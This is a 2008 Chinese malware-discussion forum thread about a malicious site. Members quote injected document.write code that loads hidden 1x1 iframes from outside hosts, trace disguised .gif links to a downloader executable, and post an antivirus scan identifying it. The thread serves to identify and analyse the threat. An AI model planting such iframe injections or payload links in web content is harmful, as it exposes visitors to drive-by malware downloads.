毒网

显示全部楼层 · 发表于 2008-2-14 00:37:59

document.write('<iframe src="http://www.59.vc/page/add_54738542.htm" width="1" height="1" frameborder="1"></iframe>');
document.write('<iframe src="http://www3.ddns.info/51yes.info.htm" width="1" height="2" frameborder="0"></iframe>');

显示全部楼层 · 发表于 2008-2-14 00:48:25

又是这个

http://w18.vg/xl.gif
http://w18.vg/real.gif
http://w18.vg/bf.gif
http://w18.vg/lz.gif
http://w18.vg/ms.gif
http://w18.vg/baidu.gif

显示全部楼层 · 发表于 2008-2-14 00:51:16

那可以把他解成样本地址吗？

显示全部楼层 · 发表于 2008-2-14 00:56:23

大S
http://w18.vg/s.exe

显示全部楼层 · 发表于 2008-2-14 01:12:40

其余得野是同一个样本吗

显示全部楼层 · 发表于 2008-2-14 01:31:39

前5个都是这个
http://w18.vg/s.exe
baidu.gif是这个
http://w18.vg/calc.cab
实际上是同一个东东

显示全部楼层 · 发表于 2008-2-14 01:42:01

不会用freshow，还是老方法
用SBie诱捕

显示全部楼层 · 发表于 2008-2-14 01:45:17

冷_冷的系统没有打补丁吧？

显示全部楼层 · 发表于 2008-2-14 01:51:04

1.4kb
真的很tiny...

显示全部楼层 · 发表于 2008-2-14 03:53:23

Starting the file scan:

Begin scan in 'C:\TDDOWNLOAD\s.exe'
C:\TDDOWNLOAD\
  s.exe
   [DETECTION] Is the Trojan horse TR/Dldr.Tiny.aid
   [INFO]    The file was deleted!

[已鉴定] 毒网

回复 4楼 tanlimo 的帖子

回复 7楼冷_冷的帖子

[已鉴定] 毒网

回复 4楼 tanlimo 的帖子

回复 7楼 冷_冷 的帖子

回复 7楼冷_冷的帖子